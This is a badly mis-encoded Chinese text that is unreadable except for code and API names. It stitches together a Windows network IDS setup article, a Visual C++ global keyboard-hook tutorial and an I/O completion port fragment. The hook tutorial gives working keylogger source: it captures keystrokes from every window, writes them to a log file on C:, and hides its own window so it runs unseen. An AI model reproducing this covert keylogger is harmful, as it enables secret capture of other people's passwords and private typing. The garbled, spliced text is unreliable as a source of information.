銆銆IDS鐨勬妧鏈墜孌靛叾瀹炲茍涓嶅緢紲炵錛屾帴涓嬫潵鏈枃浼氱敤涓縐?#8220;欏鴻棨鎽哥摐”鐨勮剦緇滐紝緇欏ぇ瀹朵粙緇嶄竴涓緝綆鍗曠殑IDS鍏ラ棬綰ф瀯鏋躲備粠甯傚満鍒嗗竷銆佸叆鎵嬮毦鏄撶殑瑙掑害鏉ョ湅錛岄夋嫨NIDS浣滀負鑼冧緥榪涜閮ㄧ講錛屾瘮杈冨湴鎭板綋銆傛湰鏂囦互瀹屽叏鐨刉indows騫沖彴鏉ヨ瘡絀挎暣涓叆渚?nobr>媯嫻?/nobr>嫻佺▼錛岀敱浜庣瘒騫呮墍闄愶紝浠ュ畾鎬?nobr>鍒嗘瀽瑙掑害鏉ラ檲榪般?
銆銆棰勫鐭ヨ瘑
銆銆IDS錛欼ntrusion Detection System錛堝叆渚墊嫻?nobr>緋葷粺錛夛紝閫氳繃鏀墮泦緗戠粶緋葷粺淇℃伅鏉ヨ繘琛屽叆渚墊嫻嬪垎鏋愮殑杞歡涓庣‖浠剁殑鏅鴻兘緇勫悎銆?
銆銆瀵笽DS榪涜鏍囧噯鍖栧伐浣滅殑涓や釜緇勭粐錛氫綔涓哄浗闄呬簰鑱旂綉鏍囧噯鐨勫埗瀹氳匢ETF鐨処ntrusion Detection working Group錛圛DWG錛屽叆渚墊嫻嬪伐浣滅粍錛夊拰Common Intrusion Detection Framework錛圕IDF錛岄氱敤鍏ヤ鏡媯嫻嬫鏋訛級銆?
銆銆IDS鍒嗙被錛歂etwork IDS錛堝熀浜庣綉緇滐級銆丠ost-based IDS錛堝熀浜庝富鏈猴級銆丠ybrid IDS錛堟販鍚堝紡錛夈丆onsoles IDS錛堟帶鍒跺彴錛夈丗ile Integrity Checkers錛堟枃浠跺畬鏁存ф鏌ュ櫒錛夈丠oneypots錛堣湝緗愶級銆備簨浠朵駭鐢熺郴緇?
銆銆鏍規(guī)嵁CIDF闃愯堪鍏ヤ鏡媯嫻嬬郴緇燂紙IDS錛夌殑閫氱敤妯″瀷鎬濇兂錛屽叿澶囨墍鏈夎绱犮佹渶綆鍗曠殑鍏ヤ鏡媯嫻嬬粍浠跺鍥炬墍紺恒傛牴鎹瓹IDF瑙勮寖錛屽皢IDS闇瑕佸垎鏋愮殑鏁版嵁緇熺О涓篍vent錛堜簨浠訛級錛孍vent鏃㈠彲鑳芥槸緗戠粶涓殑Data Packets錛堟暟鎹寘錛夛紝涔熷彲鑳芥槸浠嶴ystem Log絳夊叾浠栨柟寮忓緱鍒扮殑Information錛堜俊鎭級銆?
銆銆娌℃湁鏁版嵁嫻佽繘錛堟垨鏁版嵁琚噰闆嗭級錛孖DS灝辨槸鏃犳牴涔嬫湪錛屽畬鍏ㄦ棤鐢ㄦ涔嬪湴銆?
銆銆浣滀負IDS鐨勫熀灞傜粍緇囷紝浜嬩歡浜х敓緋葷粺澶у彲鏂藉睍鎷寵剼錛屽畠鏀墮泦琚畾涔夌殑鎵鏈変簨浠訛紝鐒跺悗涓鑲¤剳鍦頒紶鍒板叾瀹冪粍浠墮噷銆傚湪Windows鐜涓嬶紝鐩墠姣旇緝鍩烘湰鐨勫仛娉曟槸浣跨敤Winpcap鍜學inDump銆?
銆銆澶у鐭ラ亾錛屽浜庝簨浠朵駭鐢熷拰浜嬩歡鍒嗘瀽緋葷粺鏉ヨ錛岀溂涓嬫祦琛岄噰鐢↙inux鍜孶nix騫沖彴鐨勮蔣浠跺拰紼嬪簭錛涘叾瀹炲湪Windows騫沖彴涓紝涔熸湁綾諱技Libpcap錛堟槸Unix鎴朙inux浠庡唴鏍告崟鑾風綉緇滄暟鎹寘鐨勫繀澶囪蔣浠訛級鐨勫伐鍏峰嵆Winpcap銆?
銆銆Winpcap鏄竴濂楀厤璐圭殑錛?鍩轟簬Windows鐨勭綉緇滄帴鍙PI錛屾妸緗戝崱璁劇疆涓?#8220;娣鋒潅”妯″紡錛岀劧鍚庡驚鐜鐞嗙綉緇滄崟鑾風殑鏁版嵁鍖呫傚叾鎶鏈疄鐜扮畝鍗曪紝鍙Щ妞嶆у己錛屼笌緗戝崱鏃犲叧錛屼絾鏁堢巼涓嶉珮錛岄傚悎鍦?00 Mbps浠ヤ笅鐨勭綉緇?
銆銆鐩稿簲鐨勫熀浜嶹indows鐨勭綉緇滃梾鎺㈠伐鍏鋒槸WinDump錛堟槸Linux/Unix騫沖彴鐨凾cpdump鍦╓indows涓婄殑縐繪鐗堬級錛岃繖涓蔣浠跺繀欏誨熀浜嶹inpcap鎺ュ彛錛堣繖閲屾湁浜哄艦璞″湴縐癢inpcap涓猴細鏁版嵁鍡呮帰椹卞姩紼嬪簭錛夈備嬌鐢╓inDump錛屽畠鑳芥妸鍖歸厤瑙勫垯鐨勬暟鎹寘鐨勫寘澶寸粰鏄劇ず鍑烘潵銆備綘鑳戒嬌鐢ㄨ繖涓伐鍏峰幓鏌ユ壘緗戠粶闂鎴栬呭幓鐩戣緗戠粶涓婄殑鐘跺喌錛屽彲浠ュ湪涓瀹氱▼搴︿笂鏈夋晥鐩戞帶鏉ヨ嚜緗戠粶涓婄殑瀹夊叏鍜屼笉瀹夊叏鐨勮涓恒?
銆銆榪欎袱涓蔣浠跺湪緗戜笂閮藉彲浠ュ厤璐瑰湴鎵懼埌錛岃鑰呰繕鍙互鏌ョ湅鐩稿叧杞歡浣跨敤鏁欑▼銆?
銆銆涓嬮潰澶х暐浠嬬粛涓涓嬪緩绔嬩簨浠舵帰嫻嬪強閲囬泦鐨勬楠?
銆銆1銆佽閰嶈蔣浠跺拰紜歡緋葷粺銆傛牴鎹綉緇滅箒蹇欑▼搴﹀喅瀹氭槸鍚﹂噰鐢ㄦ櫘閫氬吋瀹規(guī)満鎴栨ц兘杈冮珮鐨勪笓鐢ㄦ湇鍔″櫒錛涘畨瑁匩T鏍稿績鐨刉indows
銆銆2銆佹湇鍔″櫒鐨勭┖闂村垝鍒嗚鍚堢悊鏈夋晥錛屾墽琛岀▼搴忕殑瀹夎銆佹暟鎹棩蹇楃殑瀛樺偍錛屼袱鑰呯┖闂存渶濂藉垎鍒斁緗湪涓嶅悓鍒嗗尯銆?
銆銆3銆乄inpcap鐨勭畝鍗曞疄鐜般傞鍏堝畨瑁呭畠鐨勯┍鍔ㄧ▼搴忥紝鍙互鍒板畠鐨勪富欏墊垨闀滃儚绔欑偣涓嬭澆WinPcap auto-installer (Driver+DLLs)錛岀洿鎺ュ畨瑁呫?
銆銆娉細濡傛灉鐢╓inpcap鍋氬紑鍙戯紝榪橀渶瑕佷笅杞?Developer錛噑 pack銆?
銆銆WinPcap 鍖呮嫭涓変釜
銆銆4銆乄inDump鐨勫垱寤恒傚畨瑁呭悗錛屽湪Windows鍛戒護鎻愮ず絎︽ā寮忎笅榪愯錛岀敤鎴瘋嚜宸卞彲浠ユ煡鐪嬬綉緇滅姸鎬侊紝鎭曚笉璧樿堪銆?
銆銆濡傛灉娌℃湁杞歡鍏煎鎬ч棶棰樸佸畨瑁呭拰閰嶇疆姝ｇ‘鐨勮瘽錛屼簨浠舵帰嫻嬪強閲囬泦宸茶兘瀹炵幇銆?/p>
銆銆浜嬩歡鍒嗘瀽緋葷粺
銆銆鐢變簬鎴戜滑鐨勭綉緇滃ぇ閮界敤浜ゆ崲寮忎互澶綉浜ゆ崲鏈鴻繛鎺ワ紝鎵浠ュ緩绔嬩簨浠跺垎鏋愮郴緇熺殑鐩殑鏄疄鐜板澶氱緗戠粶闃茬伀澧欒澶囩殑鎺㈡祴錛屼互鍙婂縐嶉噰闆嗘柟寮忥紙濡傚熀浜嶴nmp銆丼yslog鏁版嵁淇℃伅鐨勯噰闆嗭級鏃ュ織鐨勬敮鎸侊紝騫舵彁渚涗竴瀹氱殑浜嬩歡鏃ュ織澶勭悊錛岀粺璁°佸垎鏋愬拰鏌ヨ鍔熻兘銆?
銆銆浜嬩歡鍒嗘瀽緋葷粺鏄疘DS鐨勬牳蹇冩ā鍧楋紝涓昏鍔熻兘鏄鍚勭浜嬩歡榪涜鍒嗘瀽錛屼粠涓彂鐜拌繚鍙嶅畨鍏ㄧ瓥鐣ョ殑琛屼負錛屽浣曞緩绔嬫槸閲嶇偣涔熸槸闅劇偣銆傚鏋滆嚜宸辮兘鎴栦笌浜哄悎浣滅紪鍐欒蔣浠剁郴緇燂紝灝遍渶瑕佸仛濂戒弗璋ㄧ殑鍓嶆湡寮鍙戝噯澶囷紝濡傚緗戠粶鍗忚銆侀粦瀹㈡敾鍑匯佺郴緇熸紡媧炴湁鐫姣旇緝娓呮櫚鐨勮璇嗭紝鎺ョ潃寮濮嬪埗瀹氳鍒欏拰絳栫暐錛屽畠搴旇鍩轟簬鏍囧噯鐨勬妧鏈爣鍑嗗拰瑙勮寖錛岀劧鍚庝紭鍖栫畻娉曚互鎻愰珮鎵ц鏁堢巼錛屽緩绔嬫嫻嬫ā鍨嬶紝鍙互妯℃嫙榪涜鏀誨嚮鍙婂垎鏋愯繃紼嬨?
銆銆浜嬩歡鍒嗘瀽緋葷粺鎶婃嫻嬪紩鎿庨┗鐣欏湪鐩戣緗戞涓紝涓鑸氳繃涓夌鎶鏈墜孌佃繘琛屽垎鏋愶細妯″紡鍖歸厤銆佸崗璁垎鏋愬拰琛屼負鍒嗘瀽銆傚綋媯嫻嬪埌鏌愮璇敤妯″紡鏃訛紝浜х敓瀵瑰簲鐨勮鍛婁俊鎭茍鍙戦佺粰鍝嶅簲緋葷粺銆傜洰鍓嶆潵鐪嬶紝浣跨敤鍗忚鍒嗘瀽鏄疄鏃舵嫻嬬殑鏈濂芥柟寮忋?
銆銆榪欎釜緋葷粺涓縐嶅彲鑳界殑鏂瑰紡鏄敱鍗忚鍒嗘瀽鍣ㄤ綔涓轟富浣擄紝鍙互鍦ㄧ幇鎴愮殑銆佸紑鏀懼紡鐨勫崗璁垎鏋愬伐鍏峰寘鍩虹涓婃潵鏋勫緩錛涘崗璁垎鏋愬櫒鍙互鏄劇ず鍒嗙粍綰х綉緇滀紶杈撴祦錛屽熀浜庣綉緇滃崗璁鍒欑殑璀﹀憡榪涜鑷姩鍒嗘瀽鏉ュ揩閫熸帰嫻嬫敾鍑葷殑瀛樺湪錛涚敱姝わ紝緗戠粶紼嬪簭鍛樺拰綆＄悊鍛樺彲鐩戞帶騫跺垎鏋愮綉緇滄椿鍔紝浠庤屼富鍔ㄦ嫻嬪茍瀹氫綅鏁呴殰銆傜敤鎴峰彲浠ュ皾璇曚竴涓嬩竴涓彨Ethereal鐨勫厤璐圭綉緇滃崗璁垎鏋愬櫒錛屽畠鏀寔Windows緋葷粺銆傜敤鎴峰彲浠ュ鐢變簨浠朵駭鐢熺郴緇熸姄鍙栧悗淇濆瓨鍦ㄧ‖鐩樹笂鐨勬暟鎹繘琛屽垎鏋愩備綘鑳戒氦浜掑紡鍦版祻瑙堟姄鍙栧埌鐨勬暟鎹寘錛屾煡鐪嬫瘡涓涓暟鎹寘鐨勬憳瑕佸拰璇︾粏淇℃伅銆侲thereal鏈夊縐嶅己澶х殑鐗瑰緛錛屽鏀寔鍑犱箮鎵鏈夌殑鍗忚銆佷赴瀵岀殑榪囨護璇█銆佹槗浜庢煡鐪婽CP浼氳瘽緇忛噸鏋勫悗鐨勬暟鎹祦絳夈?
銆銆鍝嶅簲緋葷粺
銆銆鍝嶅簲緋葷粺鏄潰鍚戜漢銆佺墿鐨勪氦浜掔郴緇燂紝鍙互璇存槸鏁翠釜緋葷粺鐨勪腑杞珯鍜屽崗璋冪珯銆備漢鍗蟲槸緋葷粺綆＄悊鍛樸佺墿鏄叾浠栨墍鏈夌粍浠躲傝緇嗚鏉ワ紝鍝嶅簲緋葷粺榪欎釜鍗忚皟鍛樿鍋氱殑浜嬪緢澶氾細鎸夌収棰勭疆瀹氫箟鐨勬柟寮忥紝璁板綍瀹夊叏浜嬩歡銆佷駭鐢熸姤璀︿俊鎭紙濡侲-mail褰㈠紡錛夈佽褰曢檮鍔犳棩蹇椼侀殧紱誨叆渚佃呫佺粓姝㈣繘紼嬨佺姝㈠彈瀹寵呯殑绔彛鍜屾湇鍔°佺敋鑷沖弽鎴堜竴鍑伙紱鍙互閲囧彇浜哄伐鍝嶅簲鍜岃嚜鍔ㄥ搷搴旓紙鍩轟簬鏈哄櫒鐨勫搷搴旓級錛屼袱鑰呯粨鍚堣搗鏉ヤ細姣旇緝濂姐?
銆銆鍝嶅簲緋葷粺鐨勮璁¤绱?
銆銆(1) 鎺ュ彈鑷簨浠朵駭鐢熺郴緇熺粡浜嬩歡鍒嗘瀽緋葷粺榪囨護銆佸垎鏋愩侀噸寤哄悗鐨勪簨浠惰鎶ヤ俊鎭紝鐒跺悗浜や簰緇欑敤鎴鳳紙綆＄悊鍛橈級鏌ヨ騫跺仛鍑鴻鍒欏垽鏂拰閲囧彇綆＄悊琛屼負銆?
銆銆(2) 緇欑鐞嗗憳鎻愪緵綆＄悊浜嬩歡
銆銆(3)浣滅敤浜庡墠绔郴緇熸椂錛屽彲綆＄悊浜嬩歡浜х敓銆佸垎鏋愮郴緇燂紙鍚堢О浜嬩歡鎺㈡祴鍣級錛屽璇ョ郴緇熼噰闆嗐佹帰嫻嬨佸垎鏋愮殑浜嬩歡榪涜鍒嗙被銆佺瓫閫夛紝鍙拡瀵逛笉鍚屽畨鍏ㄧ姸鍐碉紝閲嶆柊瀵瑰畨鍏ㄨ鍒欒繘琛屾礂鐗屻?
銆銆鍝嶅簲緋葷粺鍜屼簨浠舵帰嫻嬪櫒閫氬父鏄互搴旂敤紼嬪簭鐨勫艦寮忓疄鐜般?
銆銆璁捐鎬濊礬錛氬搷搴旂郴緇熷彲鍒嗕負涓や釜紼嬪簭閮ㄥ垎錛岀洃鍚拰鎺у埗銆?鐩戝惉閮ㄥ垎緇戝畾鏌愪釜絀洪棽绔彛錛屾帴鏀朵粠浜嬩歡鎺㈡祴鍣ㄥ彂鍑虹殑鍒嗘瀽緇撴灉鍜屽叾浠栦俊鎭紝騫惰漿鍖栧瓨鍌ㄦ枃浠跺埌浜嬩歡鏁版嵁搴撶郴緇熶腑錛屼綔涓虹鐞嗗憳鍙牴鎹敤鎴鋒潈闄愯皟鐢ㄦ潵鍙銆佷慨鏀逛互鍙婄壒鍒殑鎿嶄綔銆傛帶鍒墮儴鍒嗗彲鐢℅TK錛嬫潵緙栧啓GUI錛屽紑鍙戝嚭杈冧負鐩磋鐨勫浘褰㈢敤鎴風晫闈紝鐩殑涓昏鏄粰鐢ㄦ埛涓涓洿鏂逛究鍙嬪ソ鐨勭晫闈㈡潵嫻忚璀﹀憡淇℃伅銆?
銆銆浜嬩歡鏁版嵁搴撶郴緇?
銆銆鍦╓indows騫沖彴涓嬶紝铏界劧Access鏇存槗鎺屾彙錛屼絾閲囩敤SQL Server 2000鏋勫緩浼氭瘮Access鏈夋晥錛岃屼笖騫朵笉鏄緢闅懼叆鎵嬶紝姝ょ郴緇熶富瑕佸姛鑳斤細璁板綍銆佸瓨鍌ㄣ侀噸鎺掍簨浠朵俊鎭紝鍙緵綆＄悊鍛樿皟鐢ㄦ煡鐪嬪拰瀵規(guī)敾鍑誨鏌ュ彇璇佷嬌鐢ㄣ?
銆銆姝ょ郴緇熸瀯閫犵浉瀵圭畝鍗曪紝鍙渶鍒╃敤鍒版暟鎹簱杞歡鐨勪竴浜涘熀鏈姛鑳姐?
銆銆瑕佸崗璋冨悇緇勪歡涔嬮棿鐨勬湁鐩殑閫氫俊錛屽悇緇勪歡灝卞繀欏昏兘姝ｇ‘鐞嗚В鐩鎬簰涔嬮棿浼犻掔殑鍚勭鏁版嵁鐨勮涔夈傚彲鍙傝僀IDF鐨勯氫俊鏈哄埗錛屾瀯寤?灞傛ā鍨嬨傛敞鎰忓悇涓粍浠朵箣闂寸殑浜掓搷浣滄э紝淇濊瘉瀹夊叏銆侀珮鏁堛侀『鐣呫?
銆銆鏁村悎鍦ㄥ悗緇殑宸ヤ綔涓細涓嶆柇榪涜錛屽悇涓粍浠剁殑鍔熻兘涔熶細涓嶆柇瀹屽杽銆備竴涓熀鏈殑銆佸熀浜嶹indows騫沖彴鐨処DS妗嗘灦灝辨瀯寤哄畬姣曘傛弧瓚崇綉緇滄潯浠剁殑璇濓紝璇曡瘯浜叉墜鍋氬仛鑷繁鐨勫ザ閰惂錛屾湁涓縐嶄笉鍙悕鐘剁殑鍔充綔鍚庣殑鐢滆湝銆?/p>
鎽樿嚜錛氬ソ鏄撴暀紼嬬綉
淇℃伅浜т笟閮ㄧ數(shù)瀛愮浜屽崄浜岀爺絀舵墍闈掑矝鍒嗘墍 閮庨攼
涓銆佸紩璦
鎴戜滑鍙互鍦ㄥ簲鐢ㄧ▼搴忎腑姣笉璐瑰姏鐨勬崟鑾峰湪鏈▼搴忕獥鍙ｄ笂鎵榪涜鐨勯敭鐩樻搷浣滐紝浣嗗鏋滄垜浠兂瑕佸皢姝ょ▼搴忎綔鎴愪竴涓洃鎺х▼搴忥紝鎹曡幏鍦╓indows騫沖彴涓嬩換鎰忕獥鍙ｄ笂鐨勯敭鐩樻搷浣滐紝灝遍渶瑕佸熷姪浜庡叏灞閽╁瓙鏉ュ疄鐜頒簡銆?
浜屻佺郴緇熼挬瀛愬拰DLL
閽╁瓙鐨勬湰璐ㄦ槸涓孌電敤浠ュ鐞嗙郴緇熸秷鎭殑紼嬪簭錛岄氳繃緋葷粺璋冪敤錛屽皢鍏舵寕鍏ョ郴緇熴傞挬瀛愮殑縐嶇被鏈夊緢澶氾紝姣忕閽╁瓙鍙互鎴幏騫跺鐞嗙浉搴旂殑娑堟伅錛屾瘡褰撶壒瀹氱殑娑堟伅鍙戝嚭錛屽湪鍒拌揪鐩殑紿楀彛涔嬪墠錛岄挬瀛愮▼搴忓厛琛屾埅鑾瘋娑堟伅銆佸緱鍒板姝ゆ秷鎭殑鎺у埗鏉冦傛鏃跺湪閽╁瓙鍑芥暟涓氨鍙互瀵規(guī)埅鑾風殑娑堟伅榪涜鍔犲伐澶勭悊錛岀敋鑷沖彲浠ュ己鍒剁粨鏉熸秷鎭殑浼犻掋?
鍦ㄦ湰紼嬪簭涓垜浠渶瑕佹崟鑾峰湪浠繪剰紿楀彛涓婄殑閿洏杈撳叆錛岃繖灝遍渶瑕侀噰鐢ㄥ叏灞閽╁瓙浠ヤ究鎷︽埅鏁翠釜緋葷粺鐨勬秷鎭紝鑰屽叏灞閽╁瓙鍑芥暟蹇呴』浠LL錛堝姩鎬佽繛鎺ュ簱錛変負杞戒綋榪涜灝佽錛孷C6涓湁涓夌褰㈠紡鐨凪FC DLL鍙緵閫夋嫨錛屽嵆Regular statically linked to MFC DLL錛堟爣鍑嗛潤鎬侀摼鎺FC DLL錛夈丷egular using the shared MFC DLL錛堟爣鍑嗗姩鎬侀摼鎺FC DLL錛変互鍙奅xtension MFC DLL錛堟墿灞昅FC DLL錛夈?鍦ㄦ湰紼嬪簭涓負鏂逛究璧瘋閲囩敤浜嗘爣鍑嗛潤鎬佽繛鎺FC DLL銆?
涓夈侀敭鐩橀挬瀛愮▼搴忕ず渚?
鏈ず渚嬬▼搴忕敤鍒板叏灞閽╁瓙鍑芥暟錛岀▼搴忓垎涓ら儴鍒嗭細鍙墽琛岀▼搴廗eyHook鍜屽姩鎬佽繛鎺ュ簱LaunchDLL銆?
1銆侀鍏堢紪鍒禡FC鎵╁睍鍔ㄦ佽繛鎺ュ簱LaunchDLL.dll:
錛?錛夐夋嫨MFC AppWizard(DLL)鍒涘緩欏圭洰LaunchDLL錛涘湪鎺ヤ笅鏉ョ殑閫夐」涓夋嫨Regular statically linked to MFC DLL錛堟爣鍑嗛潤鎬侀摼鎺FC DLL錛夈?
錛?錛夊湪LaunchDLL.h涓坊鍔犲畯瀹氫箟鍜屽緟瀵煎嚭鍑芥暟鐨勫０鏄庯細
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();
顥?
//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL
顥?
//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
錛?錛夊湪LaunchDLL.cpp涓坊鍔犲叏灞鍙橀噺Hook鍜屽叏灞鍑芥暟LauncherHook銆丼aveLog錛?
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
錛?錛夊畬鎴愪互涓婃彁鍒扮殑榪欏嚑涓嚱鏁扮殑瀹炵幇閮ㄥ垎錛?
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
鍦ㄦ鎴戜滑瀹炵幇浜哤indows鐨勭郴緇熼挬瀛愮殑瀹夎錛岄鍏堣璋冪敤SDK涓殑API鍑芥暟SetWindowsHookEx鏉ュ畨瑁呰繖涓挬瀛愬嚱鏁幫紝鍏跺師鍨嬫槸錛?
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
鍏朵腑錛岀涓涓弬鏁版寚瀹氶挬瀛愮殑綾誨瀷錛屽父鐢ㄧ殑鏈塛H_MOUSE銆乄H_KEYBOARD銆乄H_GETMESSAGE絳夛紝鍦ㄦ鎴戜滑鍙叧蹇冮敭鐩樻搷浣滄墍浠ヨ瀹氫負WH_KEYBOARD錛涚浜屼釜鍙傛暟鏍囪瘑閽╁瓙鍑芥暟鐨勫叆鍙ｅ湴鍧錛屽綋閽╁瓙閽╁埌浠諱綍娑堟伅鍚庝究璋冪敤榪欎釜鍑芥暟,鍗沖綋涓嶇緋葷粺鐨勫摢涓獥鍙ｆ湁閿洏杈撳叆椹笂浼氬紩璧稬auncherHook鐨勫姩浣滐紱絎笁涓弬鏁版槸閽╁瓙鍑芥暟鎵鍦ㄦā鍧楃殑鍙ユ焺錛屾垜浠彲浠ュ緢綆鍗曠殑璁懼畾鍏朵負鏈簲鐢ㄧ▼搴忕殑瀹炰緥鍙ユ焺錛涙渶鍚庝竴涓弬鏁版槸閽╁瓙鐩稿叧鍑芥暟鐨処D鐢ㄤ互鎸囧畾鎯寵閽╁瓙鍘婚挬鍝釜綰跨▼錛屼負0鏃跺垯鎷︽埅鏁翠釜緋葷粺鐨勬秷鎭紝鍦ㄦ湰紼嬪簭涓挬瀛愰渶瑕佷負鍏ㄥ眬閽╁瓙錛屾晠璁懼畾涓?銆?
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
铏界劧璋冪敤CallNextHookEx()鏄彲閫夌殑錛屼絾璋冪敤姝ゅ嚱鏁扮殑涔犳儻鏄緢鍊煎緱鎺ㄨ崘鐨勶紱鍚﹀垯鐨勮瘽錛屽叾浠栧畨瑁呬簡閽╁瓙鐨勫簲鐢ㄧ▼搴忓皢涓嶄細鎺ユ敹鍒伴挬瀛愮殑閫氱煡鑰屼笖榪樻湁鍙兘浜х敓涓嶆紜殑緇撴灉錛屾墍浠ユ垜浠簲灝介噺璋冪敤璇ュ嚱鏁伴櫎闈炵粷瀵歸渶瑕侀樆姝㈠叾浠栫▼搴忚幏鍙栭氱煡銆?
……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
褰撴湁閿脊璧風殑鏃跺欏氨閫氳繃姝ゅ嚱鏁板皢鍒氬脊璧風殑閿繚瀛樺埌璁板綍鏂囦歡涓粠鑰屽疄鐜板閿洏榪涜鐩戞帶璁板綍鐨勭洰鐨勩?
緙栬瘧瀹屾垚渚垮彲寰楀埌榪愯鏃舵墍闇鐨勯敭鐩橀挬瀛愮殑鍔ㄦ佽繛鎺ュ簱LaunchDLL.dll鍜岃繘琛岄潤鎬侀摼鎺ユ椂鐢ㄥ埌鐨凩aunchDLL.lib銆?
2銆佷笅闈㈠紑濮嬬紪鍐欒皟鐢ㄦ鍔ㄦ佽繛鎺ュ簱鐨勪富紼嬪簭錛屽茍瀹炵幇鏈鍚庣殑闆嗘垚錛?
錛?錛夌敤MFC鐨凙ppWizard(EXE)鍒涘緩欏圭洰KeyHook錛?
錛?錛夐夋嫨鍗曟枃妗ｏ紝鍏朵綑鍑犳鍙潎涓虹‘鐪侊紱
錛?錛夋妸LaunchDLL.h鍜孡aunchDLL.lib澶嶅埗鍒癒eyHook宸ョ▼鐩綍涓紝LaunchDLL.dll澶嶅埗鍒癉ebug鐩綍涓嬨?
錛?錛夐摼鎺LL搴擄紝鍗沖湪"Project","Settings…"鐨?Link"灞炴ч〉鍐咃紝鍦?Object/librarymodules:"涓～鍏?LaunchDLL.lib"銆傚啀閫氳繃"Project"錛?Add To Project","Files…"灝哃aunchDLL.h娣誨姞鍒板伐紼嬩腑鏉ワ紝鏈鍚庡湪瑙嗙被鐨勬簮鏂囦歡KeyHook.cpp涓姞鍏ュ鍏剁殑寮曠敤錛?
#include "LaunchDLL.h"
榪欐牱鎴戜滑灝卞彲浠ヨ薄浣跨敤鏈伐紼嬪唴鐨?鍑芥暟涓鏍蜂嬌鐢ㄥ姩鎬佽繛鎺ュ簱LaunchDLL.dll涓殑鎵鏈夊鍑哄嚱鏁頒簡銆?
錛?錛夊湪瑙嗙被涓坊鍔犺櫄鍑芥暟OnInitialUpdate()錛屽茍娣誨姞浠ｇ爜瀹屾垚瀵歸敭鐩橀挬瀛愮殑瀹夎錛?
……
InstallLaunchEv();
……
錛?錛夊埌姝や負姝㈠叾瀹炲凡緇忓畬鎴愪簡鎵鏈夌殑鍔熻兘錛屼絾浣滀負涓涓悗鍙扮洃鎺ц蔣浠訛紝榪愯鏃跺茍涓嶅笇鏈涙湁鐣岄潰錛屽彲浠ュ湪搴旂敤紼嬪簭綾籆keyHookApp鐨処nitInstance()鍑芥暟涓皢m_pMainWnd->ShowWindow(SW_SHOW);鏀逛負m_pMainWnd->ShowWindow(SW_HIDE);鍗沖彲銆?
鍥涖佽繍琛屼笌媯嫻?
緙栬瘧榪愯紼嬪簭錛岃繍琛岃搗鏉ヤ箣鍚庡茍鏃犱粈涔堢幇璞★紝浣嗛氳繃Alt+Ctrl+Del鍦ㄥ叧闂▼搴忓璇濇鍐呭彲浠ユ壘鍒版垜浠垰緙栧啓瀹屾瘯鐨勭▼搴?KeyHook",闅忎究鍦ㄤ粈涔堢▼搴忎腑閫氳繃閿洏杈撳叆瀛楃錛岀劧鍚庢墦寮璁板綍鏂囦歡錛屾垜浠細鍙戠幇錛氶氳繃閿洏閽╁瓙錛屾垜浠垰鎵嶈緭鍏ョ殑瀛楃閮借璁板綍鍒拌褰曟枃浠朵腑浜嗐?
灝忕粨錛氱郴緇熼挬瀛愬叿鏈夌浉褰撳己澶х殑鍔熻兘錛岄氳繃榪欑鎶鏈彲浠ュ鍑犱箮鎵鏈夌殑Windows緋葷粺娑堟伅榪涜鎷︽埅銆佺洃瑙嗐佸鐞嗐傝繖縐嶆妧鏈箍娉涘簲鐢ㄤ簬鍚勭鑷姩鐩戞帶緋葷粺涓?br>
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鏈枃浣滆咃細sodme
鏈枃鍑哄錛?font style="COLOR: #000000" color=#0000ff>http://blog.csdn.net/sodme
澹版槑錛氭湰鏂囧彲浠ヤ笉緇忎綔鑰呭悓鎰忎換鎰忚漿杞姐佸鍒躲佷紶鎾紝浣嗕換浣曞鏈枃鐨勫紩鐢ㄥ潎欏諱繚鐣欐湰鏂囩殑浣滆呫佸嚭澶勫強鏈澹版槑淇℃伅錛佽阿璋紒
銆銆瀹屾垚绔彛妯″瀷錛岄拡瀵逛簬WIN騫沖彴鐨勫叾瀹冨紓姝ョ綉緇滄ā鍨嬭岃█錛屾渶澶х殑濂藉錛岄櫎浜嗘ц兘鏂歸潰鐨勫崜瓚婂錛岃繕鍦ㄤ簬瀹屾垚绔彛鍦ㄤ紶閫掔綉緇滀簨浠剁殑閫氱煡鏃訛紝鍙互涓騫朵紶閫掍笌姝や簨浠剁浉鍏崇殑搴旂敤灞傛暟鎹傝繖涓簲鐢ㄥ眰鏁版嵁錛屼綋鐜板湪涓や釜鏂歸潰錛氫竴鏄崟鍙ユ焺鏁版嵁錛屼簩鏄崟IO鏁版嵁銆?br>
銆銆GetQueuedCompletionStatus鍑芥暟鐨勫師鍨嬪涓嬶細
銆銆WINBASEAPI
銆銆BOOL
銆銆WINAPI
銆銆GetQueuedCompletionStatus(
銆銆IN HANDLE CompletionPort,
銆銆 OUT LPDWORD lpNumberOfBytesTransferred,
銆銆OUT PULONG_PTR lpCompletionKey,
銆銆OUT LPOVERLAPPED *lpOverlapped,
銆銆IN DWORD dwMilliseconds
銆);
銆銆鍏朵腑錛屾垜浠妸絎笁涓弬鏁發(fā)pCompletionKey縐頒負瀹屾垚閿紝鐢卞畠浼犻掔殑鏁版嵁縐頒負鍗曞彞鏌勬暟鎹傛垜浠妸絎洓涓弬鏁發(fā)pOverlapped縐頒負閲嶅彔緇撴瀯浣擄紝鐢卞畠浼犻掔殑鏁版嵁縐頒負鍗旾O鏁版嵁銆?br>
